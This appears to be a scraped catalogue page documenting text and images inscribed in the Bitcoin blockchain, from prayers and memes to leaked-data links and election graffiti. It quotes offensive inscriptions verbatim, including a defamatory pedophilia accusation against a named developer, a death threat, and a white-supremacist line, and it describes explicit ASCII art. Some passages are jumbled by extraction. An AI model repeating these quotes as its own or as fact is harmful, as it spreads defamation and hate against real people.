- tx 7b0a0b9f18a729e905822304f9c4c05f8851d10bdc82efa902fd936ef874efeb: the first few poems from Three Hundred Tang Poems, a collection of famous Chinese poems from the Tang dynasty compiled in 1763. Each poem uses a classical Chinese poetry form with a small number of verses, usually 4, and fits into one line. Most lines contain the poem title, dynasty, author name followed by the poem, e.g. the first line:
《春晓》唐 文嘉 春眠不觉晓，处处闻啼鸟。 夜来风雨声，花落知多少。
is amazingly translated by Google Translate as:"Spring Dawn" by Wenjia of the Tang Dynasty: When I sleep in spring, I don't realize the dawn, and I hear the singing of birds everywhere. The night comes wind and rain, Whispering Colour.
Japanese:
- ac2ad7c15162a8e461387b0d0d681bb5f81f2db1138b8f200b81bbc585bd0b8f via cryptograffiti.info:
モキーのフラッシュバン許すな
Don't forgive Moky's flashbang
Hebrew:
- 0b32736592ce7abdd4d971bc4591544e1610ff51f498c9a14a6ba34a3abcad5d via cryptograffiti.info
חתימה טובה לכולם בכלל ולחברי ביטקוין ישראלי בפרט.
A good signature for everyone in general and Israeli Bitcoin members in particular.
- d7b80c8fefc88cc3f06d74f8496e2dc6f44b5f5f0a59f9ba1ba27266848a8666 via cryptograffiti.info contains what appears to be UTF-8 Hebrew text on my terminal, but Google Translate couldn't translate it, so we are unsure.
Starting at tx cbbaa0a64924fe1d6ace3352f23242aa0028d4e0ff6ae8ed615244d66079cfb1 (2011-08-05), Catholic Bitcoin developer Luke Dashjr started to inscribe prayers in the miner messages of his mining pool "Eligius pool", usually one verse per message.
These are some of the earliest inscriptions in the blockchain, and therefore extremelly visible.
Although the prayer verses appear contiguous in ASCII dumps, Eligius was not actually mining every block: it is just that in those early days, miners still hadn't started adding advertisement messages to every block, so only Eligius shows up and appears contiguous.
At some point, opponents noticed these messages, and started adding atheist mockery graffiti replies, which appear interspersed in ASCII dumps with the prayer.
The first prayer is the Latin version of the Divine Praises, a Catholic prayer composed in 1797 in Italian by Luigi Felici for the purpose of making reparation after saying or hearing sacrilege or blasphemy. Luke claims he was referring to anything in particular that came prior in the blockchain: twitter.com/LukeDashjr/status/1749182637569122434. There arent many earlier inscriptions at all to refer to in any case! The prayer and correspondong interrupts (in transaction outputs, not by other miners) ordered by block are:
- 139690 (2011-08-05) prayer: "Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius."
- 139717 prayer: "Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius.'
- 139758 interruption:
***************************************************. This is not a Coinbase message: www.blockchain.com/explorer/transactions/btc/23befff6eea3dded0e34574af65c266c9398e7d7d9d07022bf1cd526c5cdbc94. This Bitcoin input script appears to spend a standard P2PKH output, but it first adds an extra value to the stack which contains the***. - 139792 prayer: "Benedictus Iesus Christus, verus Deus et verus homo.'
- 139831 prayer: "Benedictum Nomen Iesu.'
- 139838 (2011-08-06) interruption: "I LIKE TURTLES" (tx 78eb16507b3d3df615e3b474e853db4667f4b11954ec6d918b1ded0fca7ad25a)
- 138898 prayer: "Benedictum Cor eius sacratissimum."
- 139904 prayer: "Benedictus Sanguis eius pretiosissimus."
- 139921 prayer: "Benedictus Iesus in sanctissimo altaris Sacramento."
- 139942 prayer: "Benedictus Sanctus Spiritus, Paraclitus."
- 139954 interrupion: "aC-C-C-COMBO BREAKER" (tx 138c024a76df99ecafd2236d5429cf574b7778a3c6508bd83f116c832f3c6980)
- 139960 prayer: "Benedictus Sanctus Spiritus, Paraclitus."
- 139977 prayer: "Benedicta excelsa Mater Dei, Maria sanctissima."
- 139990 (2011-08-06) prayer: "Benedicta sancta eius et immaculata Conceptio."
Then comes:and various others + output message interruptions.
- 140181 Latin Trinitarian formula
In nomine Patris et Filii et Spiritus Sancti. Amen.
- Act of Contrition
- Act of Hope
Then at last come the first miner message interruptions. Luke explained on Twitter[ref] that they were also made by Eligius pool, as there was a system in which contributors besides Luke could submit their own strings:followed by more prayers and interruptions such as tx ec92d245822fa1ff862f3314b9102f36fe1eb8bc055865674c75323540aedef6:
- 142547: (2011-08-25) tx 8e1e44a48b5e79636675d1476f8e4add075bbeb7f49e00ec743eed56f17feaaa A yandere game is starting in 60 seconds! Please type "]yandere" to join. Yandere Simulator comes to mind, but it can't be because that was pitched 2014.
- 142550: "A yandere game is starting in 60 seconds! Please type "]yandere" to join."
- 142573: (2011-08-25) "Militant atheists, bit.ly/naNhG2 -- happy now?". A Rickrolling link. Perhaps one of the fist.
- 142596: (2011-08-25) "<cjdelisle> ran out of prayers?! That explains the price drop.". Possibly quoting this dude on som twitter.com/cjdelisle Bitcoin IRC channel givesn the
<USERNAME>format? - 142640: "an de ti go su by ra me ni ko hu vy la po fy ton": Tonal system numerals. Interesting.
FFS Luke-Jr leave the blockchain alone!
Oh, and God isn't real
The last Luke prayer appears to be on block 143822 (2011-09-03)
... the Lord of the harvest, that he send forth labourers into his harvest.
Then there is a bit of radio silence, until finally Slush Pool started self advertising for the first time on block 163970 (2012-01-26):
They had been mining for a long time by then (December 2010 according to en.bitcoin.it/wiki/Slush_Pool), but this is when they decided to add a human readable ASCII message as well.
/P2SH/BIP16/slush/R,From then on, miner messages would be forever polluted with ads, and Luke's multi-miner message feat would never again be reproduced.
The non-obvious interruptions are all well known memes/anime references:
- "I like turtles": knowyourmeme.com/memes/i-like-turtles
- Combo breaker: knowyourmeme.com/memes/combo-breaker
- "Yukkuri Shiteitte ne": knowyourmeme.com/memes/yukkuri-shiteitte-ne
- "kLhLUKE-JR IS A Pedophile! Oh, and God isn't real, sucka. Stop polluting the blockchain with your nonsense.", tx 9740e7d646f5278603c04706a366716e5e87212c57395e0d24761c0ae784b2c6, block 141460
- "Help me, ERINNNNNN!!": touhou.fandom.com/wiki/Lyrics:_Help_me,_ERINNNNNN!!
- "EASY MODO? How lame!F?": knowyourmeme.com/memes/kimoi-girls
Bibliography:
- 2011-08-19 bitcointalk.org/index.php?topic=38007.0 "Eligius miners aware of prayers in block headers?" from on bitcointalk.org by user "Graet" who quotes prior discussion from a Bitcoin IRC channel:
<luke-jr> cosurgi: by design, it contains "random" data-- I've just been setting some of that "random" data to prayers<Graet> mm interesting luke-jr i understand you are strong in your faith but you dont think putting prayers in might alienate some ppl - after all btc is multidenominational<luke-jr> Graet: Catholics do not believe in freedom of religion.<Graet> and you make your non catholic miners aware of this?
- 2011-11-2 bitcointalk.org/index.php?topic=52979.0 "Mysterious transaction spotted in blockchain!"
These can be viewed at bitcoinstrings.com/blk00052.txt and are mostly commented on the "Wikileaks cablegate data" section of Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014).
Soon after block 229991 uploaded the Satoshi uploader, several interesting files were added to the blockchain using the uploader, and notably some containing content that might be illegal in certain countries, as a test to see if this type of content would make the Bitcoin blockchain illegal or not:
- tx 08654f9dc9d673b3527b48ad06ab1b199ad47b61fd54033af30c2ee975c588bd block 229999 contains a leaked private key and a link to: threatpost.com/en_us/blogs/ami-firmware-source-codAe-private-key-leaked-040513
- tx b96af3b69b48a82c5eae3e44ebb6ef93f30d7764b1d5b40243e11b0d374ac1b7 block 230001 contains the link:
en.wikipedia.org/wiki/Illegal_prime
followed presumably by one such prime starting with:4 85650 78965 73978 29309 84189 46942 86137 70744 20873 51357 92401 96520 73668
The number is quoted e.g. at: www.computerforum.com/threads/illegal-prime-number.67782/- tx 237783998a6799264983150187a73ab6d116f2ba78d3e1f88529e95229f59d67 block 233620 contains another illegal prime starting with:
49310 83597 02850 19002 75777 67239 07649 57284
This one is quoted in a few places online in blockchain illegality discussions:- www.reddit.com/r/Bitcoin/comments/1akyy4/comment/c8yel60 "What happens if someone inserts illegal content into the block chain?" (2013-03-19)
- news.ycombinator.com/item?id=8055243 "Filecoin – Data storage network and crypto-currency based on Bitcoin" (2014-07-18)
- tx 54e48e5f5c656b26c3bca14a8c95aa583d07ebe84dde3b7dd4a78f4e4186e713 block 230009 contains the Bitcoin white paper: bitcoin.org/bitcoin.pdf More context: bitcoin.stackexchange.com/questions/35959/how-is-the-whitepaper-decoded-from-the-blockchain-tx-with-1000x-m-of-n-multisi
- tx 691dd277dc0e90a462a3d652a1171686de49cf19067cd33c7df0392833fb986a block 230203 Cablegate index. The announced filename is
cablegate-201012041811.7z. As mentioned in Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014), it has an ASCII list of several other transactions, which presumably when downloaded with the Satoshi uploader can concatenated lead to the full 7z file. Also as mentioned by Ken, it is infinitely easier for the average user to just access the cables directly on WikiLeaks :-) The data is preceded by the message:sSEXWikileaks Cablegate Backup cablegate-201012041811.7z Download the following transactions with Satoshi Nakamoto's download tool which can be found in transaction 6c53cd987119ef797d5adccd76241247988a0a5ef783572a9972e7371c5fb0cc Free speech and free enterprise! Thank you Satoshi! - tx dde7cd8e8f073a525c16c5ee4e4a254f847b7ad6babef257231813166fbef551 block 230229 and tx 4a0088a249e9099d205fb4760c28275d4b8965ac9fd56f5ddf6771cdb0d94f38 block 230231 contain indexes of pages from The Hidden Wiki. These can be viewed at: bitcoinstrings.com/blk00052.txt. Not reproduced here because we are cowards.
So basically, this was the first obviously illegal block attempt.
None of this content is particularly eye-popping for Ciro Santilli's slightly crazy freedom of speech standards, and as of 2021, the Bitcoin blockchain likely hasn't become illegal anywhere yet due to freedom of speech concerns.
Furthermore, it is likely much easier to find much worse illegal content by browsing any uncensored Onion service search engine for 2 minutes.
Ciro Santilli estimates that perhaps the uploader didn't upload child pornography, which is basically the apex of illegality of this era, because they were afraid that their identities would one day be found.
Bibliography:
- bitcointalk.org/index.php?topic=191039.0 "WTF - Kiddy Porn in the Blockchain for life?" (2013-04-29) on the Bitcoin Forum
For now we are going to keep this site porn-free and only link to prevent bad things from happening, as it might violate GitHub porn policy depending on how it is hosted, and Google may dislike it. Video "What is more obscene: sex or war? scene from The People vs. Larry Flynt".
If illegal porn were to ever be found, we would be unable to acknowledge that, and would just have to silently remove it. Of course, the reproducible nature of Bitcoin Inscription Indexer means that anyone who regenerates the data would immediately see such entries in the diff.
Another issue is that it can be quite hard to determine if porn is legal or illegal, e.g. it can be hard to distinguish legal an illegal ages or revenge vs consensual porn, especially at the low resolutions that you may expect to find embedded in the blockchain. We are generally going to be quite strict about this, and in case of uncertainty on porn legality we will censor first.
OK the list:
- tx 4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754 (2016-07-09) contains an animated GIF of a woman pole dancing. She is seen from behind, in revealing blue clothes that show her buttocks. Reproduced at: twitter.com/cirosantilli/status/1755378949117370668. The file contains the following strings embedded into it:
This GIF file was assembled with GIF Construction Set from:
and:
Alchemy Mindworks Inc.
This comment block will not appear in files created with a registered version of GIF Construction SetCryptograffiti.info messages now cheaper.
4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754.gif
All found so far are also reproduced at: asciiart.website/index.php?art=people/naked%20ladies therefore not blockchain original.
- tx 9206ec2a41846709a59cafb406dd7b07082bfc27664bbc5c6d4df310c1e1b91f (2014-03-16) via cryptograffiti.info: sexually aroused naked woman sitting looking forward with legs open showing her vagina. Vagina row as an identifier for Ctrl + F:
A bit bellow tx 8367a48e4a863e37b3749bc9c111327b07a7c383ec9b3e7ce8d41949e71e1c10 has a large hand showing the middle finger and wearing a watch:
. `. .\x./-`--...../' ; :Reproduced e.g. at: www.textartcopy.com/ascii-middle-finger.html/"\ |\./| | | | | |>~<| | | /'\| |/'\.. /~\| | | | \ [ | | | | \ | | | | | \ | ~ ~ ~ ~ |` ) | / \ / \ / \ / |--//''`\--| | (( +==)) | |--\_|_//--| - tx 0aab36554c2ac5ec23747e7f21f75dbe3f16739134cf44953ad7ac98927146d6 (2014-09-28) via cryptograffiti.info: naked woman laying on her side showing her vagina from under her legs, signed
fsc. TODO full author name?
Mt. Gox was the first Cryptocurrency exchange in existence, and when it shutdowon in Febrauary 2014 because the website was crap and they got hacked, some people were not happy at all about their missing funds!
tx 0540b5dda23ee870330c6b1e18a88c592cf8d847c47f1dc1d5328f46115b12b3 (2014-02-25)
2014-02-25: The day Mt.Gox shut down. Farewell, may even you rest in peace!tx 2374f8575f65763caf6909551c131d3ae45399a73aee638bcbccaebdb1219d67 (2014-02-25):
Fuck you MtGox
Fuck you MtGox
Rtx c00a4a04905a2e8d8dee8a768165aa6bdf842413a8a648462a6349db89cd77f2 (2014-02-27) has an ASCII art of a seal, TODO understand meme:
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<3 You Seals!Protesters were posting large chunks of text multiple times into the blockchain as a way to protest against the controversial increase of block size.
tx 08893442680a20c4d0548dec2c8c421fa43336528b4e274dbf2652774f9c9f2d has the first copy of:
I like big blocks and I can not liewhich is the first line of a parody on:
I like big butts and I cannot liefrom the Baby Got Back hip-hop song.
tx 52159222289cd0a5afe0644150d0e23d5d272a57365627d5e869fdb458289858 has the first copy of:
Time to roll out bigger blockswhich is likely a copy of an email from the bitcoin development mailing list. This message is repeated dozens of times in other transactions.
tx 210000d1392bec2505d1289e5c39c2039204ff1ecf7eef55f973ccd3111003e1, block 360235 (2015-06-10) and the following transactions have transcripts of a very long developer chat starting with:
jgarzik: if you aren't near one of the consulates there are some companies that will charge you money to do it...
TODO purpose? The transcripts are interspersed with developers likely voting for project leadership, and commenting on Gavin.
TODO find original discussion location, these are almost certainly from one of the Bitcoin IRC channels.
Part of the goal of this dump is that the Bitcoin developers have a policy of not allowing logging on their talk channel, and this released it all to the blockchain forever where it cannot be deleted. These might just be more of protests against larger block sizes.
Starting tx a87d406fae047258a12923b3c11a797a5765bd8f868df5c7e9b1cead0e92c9c1: the message:
appears about 13 thousand times. WTF happened?
503: Bitcoin over capacity!Rickrolling lyrics were mined several times into the blockchain.
The first currently known instance is as a link right during the prayer wars on block 142573 (2011-08-25) as the miner message:
Militant atheists, bit.ly/naNhG2 -- happy now?"which redirects to www.youtube.com/watch?v=mGDuExhS6Nw&blockchain
Around block block 246k (e.g. 27b7c526489dac8245747fa1c425a2e3eb07dea57b294eb4ae583fec9b859fcf, 2013-10-17) we note several transactions starting with a XML format
followed by lyrics also base64 encoded as part of the XML metadata. Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) was not able to identify the exact format either. At twitter.com/EMBII4U/status/1655831533750562816 EMBII mentions that this was part of an upload test.
<CG SZ="1156"><MG>... the first one being 0b4efe49ea1454020c4d51a163a93f726a20cd75ad50bb9ed0f4623c141a8008 As mentioned not very clearly at www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html#ref12 the content of the first <MG><payload></MG> is a Base64 encoded string
Catagory: Poetry
Title: Never Gonna Give You Up
Performer: Rick Astley
Writer: Mike Stock, Matt Aitken, Pete Waterman
Label: RCA Recordstx d29c9c0e8e4d2a9790922af73f0b8d51f0bd4bb19940d9cf910ead8fbe85bc9b (2013-11-13) contains a plaintext Rickroll lyric in an output script via OP_RETURN.
tx 15b11e8d4e5b9425f024b381ba0cb7a54a35e52389bb4855f505772ce685b39c (2014-06-24): starting from this transaction, the lyrics were inscribed several times via input scripts. Then again:They were mega obnoxious!!! Who does this kind of crap for more than one year!!!
- 8bb9db70e24202fdfd0e48b57a11a407e6c8c0e76d879634b801b4345b8810b2
- b881afa519804a3c93a3c99481517ca8ae070b84c04e8e7a2bfb808e043f9771
- 70c8405bd0ec10bea49b78a819dfbf46c1082e7e620588f9da65a90b71e52bbd
- fc4e382793757858bec4b87527caa4bf2e6f71bb2f5a77bb41a45ddb9ed9d409
- f011e71b711aa54a0c824244fff83fb8b1e1921804624fa0523a6e61612b7f6f
- a8691cdbca5b82e4e48812e48b7a09e4757801fd3909a09975de957d1bfb52dc
- d8946aa464be464674bba6d15729d75572ec75dda49fe7ff0ede1a25ca054941
- d02864cd57c9d041dbd9d6f24327f347b92697a8bc3c86cdf8b738063c6ad002
- 9b78962d840f1ff681e5042264e4d0359cda98ce49d97569df14ce956622b966
- 7bdc22fb35f0a8eb6241782a306a8904fb6f793126ff106a04a96f9f223cb8e1
- e24a4085c54a6362e615f8eab758c12d80e488b73757e6d2b8ab6bfc8be7007e
- 4257f4980955d8376ee1c6bccb4396da726e4ae13d758e47dc4e0775019723f5
- a09b49e9374d43386a6a986944e3dcf515c7e1c38324836df5333b8adbe57797
- 03096688dbb874f7c571691e4241a298284bf4184be339b148f1b48f383a1d7c
- 62f8b228b6126354736d36d9f3b91882bb81eca7702b74fba6471abc7db96a03 (2015-09-30)
Each Bitcoin halvening event prompts a few commemorative messages, much like a New Year's even event in the real world.
1st (2012):
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0209.txt: nothing
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0210.txt: nothing
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0209.txt#L1111: nothing, not even any ASCII
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0209.txt#L132a; void
2nd (2016):
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0419.txt#L407: nothing
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0420.txt#L1:
- block 420000: "Chandler Guo loves YangYang Jin". Presumably this dude: twitter.com/ChandlerGuo. Noted e.g. at: www.reddit.com/r/Bitcoin/comments/4s14po/the_first_14_block_is_a_profession_of_love/
- block 420001: "/BTCC/ Welcome to 12.5 BTC blocks! BTCC & Bitcoin Forever!".
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0419.txt#L10011: a few
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0420.txt#L1: a few
3rd (2020):
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0629.txt#L407
- block 629999: contains the miner message for:
NYTimes 09/Apr/2020 With $2.3T Injection, Fed's Plan Far Exceeds 2008 Rescue
This quotes the title of: www.nytimes.com/2020/04/09/business/economy/fed-economic-rescue-coronavirus.html is of course a nod to the Genesis block message. Noted by Forbes at: www.forbes.com/sites/colinharper/2020/05/11/bitcoins-halving-block-includes-a-message-to-remind-us-why-it-was-created/?sh=130f001f656a It was mined by the F2Pool Bitcoin mining pool. A few halving output messages can be seen in nearby regular transactions:
- block 629999: contains the miner message for:
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0630.txt#L1: nothing
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0629.txt#L1111: a few
- github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0630.txt#L1: a dozen such as:
- tx 0df655b7e50dc9a53c343308d1ca148d0bead993821dfe56a035aecd0c88b2ad "Happy 2020 Halving! Thank you Satoshi."
- tx 6c6c22b8fe87f1420df6d991f7b571fdaa29f7a95adbfbcfcb0644f1c8f7d82b "We love you forever @millsfogle"
- tx 70a8639bc9b743c0610d1231103a2f8e99f4a25670946b91f16c55a5373b37d1 "Happy 3rd halving! Thanks, Satoshi and COVID-19 GO AWAY! Bulgaria #1!!!"
China stuff is mentioned at: cirosantilli.com/china-dictatorship/bitcoin-blockchain.
There's a bit of both sides in the 2016 race:
- tx 3aaae4adc68b3768e1a6029987f2aca2479818495c9aee6a86067710806e9c4f: "bEW Trump 2016! Stop the TPP!"
- tx 202ceac7b3e7b990d1961fd2eab18ba5c80c99f10eacc783f14c53ebfdcaee00 "oEW Fuck Obama&Clinton Go Trump!!!!"
- tx 53fcddaa69e79c0fdc4e2cd139bffef341a38d46bb653721d9adf42460b1afae "EW Trump will fail America, like all his businesses"
- data/out/0433.txt:1752:EW FUCK Trump and his supporters. You ppl are the dumbest scum ever.
- data/out/0435.txt:1904:EW TRUMP 2016 !!!!!!!!!!!!!!
- data/out/0437.txt:1150:bjEW FuCk OfF TrUmP!
- data/out/0439.txt:1017:EW trump will trample regulations justly
- data/out/0443.txt:1281:L9,GOD EMPEROR TRUMP WINS THIRD TERM`7
- data/out/0444.txt:2102:L99,TRUMPPPPPPPPPPPPPPP
- data/out/0445.txt:311:L127,TRUMP WILL SAVE THE WORLD.
- data/out/0445.txt:1257:EW Howard not Trump is the actual 45th president.
- tx 2fb07a8f358d690d8717734a48e5daf0ef70ea2d0e3b7c88dace8a5818fcb168 "L299,Trump touched my no-no"
- data/out/0457.txt:8677:EW All of the sheep think Donald Trump is literally Hitler.
- data/out/0481.txt:11481:I kill donald trump!!!!!!
- data/out/0545.txt:1239:}fEW fuck donald trump
- tx 05fce37228c732f4635f79e6f36d028be677404beab497ddace9024fe8e4b517 "EW Heil Trump!He's the true white leader our race need so much since Adolf"
- data/out/0552.txt:14:Trump needs to get impeached and locked up!
- data/out/0666.txt:56:(Trump was impeached for the second time in office.
This is about transactions that are interesting not because of their inscriptions, but for some other reason, such as transaction size, etc.
- bb41a757f405890fb0f5856228e23b715702d714d59bf2b1feb70d8b2b4e3e08 999,657 bytes. Joins a bunch of tiny inputs into a single output
- 623463a2a8a949e0590ffe6b2fd3e4e1028b2b99c747e82e899da4485eb0b6be and 5143cf232576ae53e8991ca389334563f14ea7a7c507a3e081fbef2538c84f6e both have 3,075 outputs of 1 satoshi each and a single input. We were not able to identify any meaningful data in it,
filejust saysdata, and there aren't long ASCII strings. However, the outputs were unspent as of 2021, which suggests that they might actually be data.
Analysis of some of them follows.
- dd9f6bbf80ab36b722ca95d93268667a3ea6938288e0d4cf0e7d2e28a7a91ab3 has 13107 with payload 256KB in size, but some of them at least have been spent: www.blockchain.com/btc/tx/dd9f6bbf80ab36b722ca95d93268667a3ea6938288e0d4cf0e7d2e28a7a91ab3 therefore it's not data.
filesays their payload is a DOS executable, but it must be a coincidence
Analyses in other blockchains:
- Ethereum
- reidjs.medium.com/top-6-weird-innovative-and-hilarious-findings-in-the-ethereum-blockchain-83dbbca461ca Top 6 Weird, Innovative, and Hilarious findings in the Ethereum Blockchain by Reid Sherman (2018)
- "Annotated blockchain project"Does the same as this page, just that it is an uncomprehensible mess of broken links. But they have soe good ideas!
- etherpad.mit.edu/p/r.e33d2e7230fafc0612a0f2e7ebc87bae
- etherpad.mit.edu/p/r.19b7b3e2c5ea08a61cb0bef0aeb213fd image list (February 8, 2017) We tried going over it, but it is just too much work, the huge majority of the results are just AtomSea & EMBII so not that interesting.
- archive.ph/Zz7m5
- www.reddit.com/r/Bitcoin/comments/5wax5v/a_group_is_working_on_building_a_fully_annotated/
- archive.4plebs.org/pol/thread/111742853/
Their main techniques seem to be:and:mkdir binout for file in blk*dat; do echo "$file"; binwalk --dd='.*' "$file" -C binout/. --log=binout/"$file""res.txt"; donewhich seem promising.mkdir subfileout for file in blk*dat; do mkdir subfileout/"$file"; done for file in blk*dat; do echo "$file"; hachoir-subfile --category=image,video,audio,container,archive,misc "$file" subfileout/"$file" > subfileout/"$file""subfile.txt"; doneThese are installable on Ubuntu 23.10 with:sudo apt install binwalk hachoirTODO how to they automatically map back to transaction IDs? There is a line "Script to add the TX ID to each file." Our attempts: Section "Get transaction id from position in dat file"
Semi-boring academic overview, but without reproducibility, or in a way that is too hidden for Ciro to have the patience to find it out.
Claims 1600 files found.
Mentions some upload mechanisms, notably AtomSea & EMBII and Satoshi uploader.
Monero: as of January 2024, Ciro downloaded the blockchain and
strings -n20 -s didnt' seem to have not even a single ASCII art, it is quite sad. Bibliography:By Ciro Santilli:
- 2021-04-13 twitter.com/cirosantilli/status/1382067162492366854: main initial announcement on Twitter. twitter.com/mikko, who has 209.9K followers and a Wikipedia page: Mikko Hypponen hearted the tweet s2
- 2023-01-21 twitter.com/cirosantilli/status/1749172304259535063: improvements to the Prayer wars
- 2024-02-07 twitter.com/cirosantilli/status/1755378931446739373: large-ish update with new items and improved organization
- 2024-03-31 twitter.com/cirosantilli/status/1774531934305071295: binwalk discoveries, start poking a bit into ordinal ruleset inscriptions
- 2024-04-04 twitter.com/cirosantilli/status/1775805941885108392: largest text ordinal inscription
By others:
- 2021-04-15 news.ycombinator.com/item?id=26801067 (96 points) on Hacker News. Reached position 16 at one point: archive.ph/L0Fte and led to about 5k views total. Ah, Ciro could watch that Google Analytics realtime view go bling all day long. Narcissism is a bitch.
- 2021 cryptonewmedia.press/tankman-image-on-bitcoin-blockchain/ by user igadjeed
- 2022-01-23 news.ycombinator.com/item?id=30050479 "Abuse and Harassment on the Blockchain ", comment-mid thread
- 2022-01-24 www.reddit.com/r/Buttcoin/comments/sbw0se/when_i_heard_about_nfts_i_thought_they_were/hu2uk8g "When I heard about NFTs, I thought they were stupid, but then I watched a video explaining how they work, it really changed my perspective", comment mid-thread
- 2023-02 lots of Twitter backlinks as a result of ordinal ruleset inscriptions:
- 2023-02-03
Video 1. Bitcoin= Free Speech Repository? by Trader University (2023) Source. Features Marijuana plant and Rickrolling sections. He seems to be a finance guru. - 2023-02-07 twitter.com/privateid_ntity/status/1622814063331004421
- 2024-01-18 twitter.com/pete_rizzo_/status/1748049913286447355 by pete_rizzo_ (81k followers, mid-thread)
- ? cloudhiker.net/ A hand curated and categorized list of interesting links by Kevin Woblick. Only allows users to visit a random one per category, so we can't get proof of backlink, this was noticed through Google Analytics.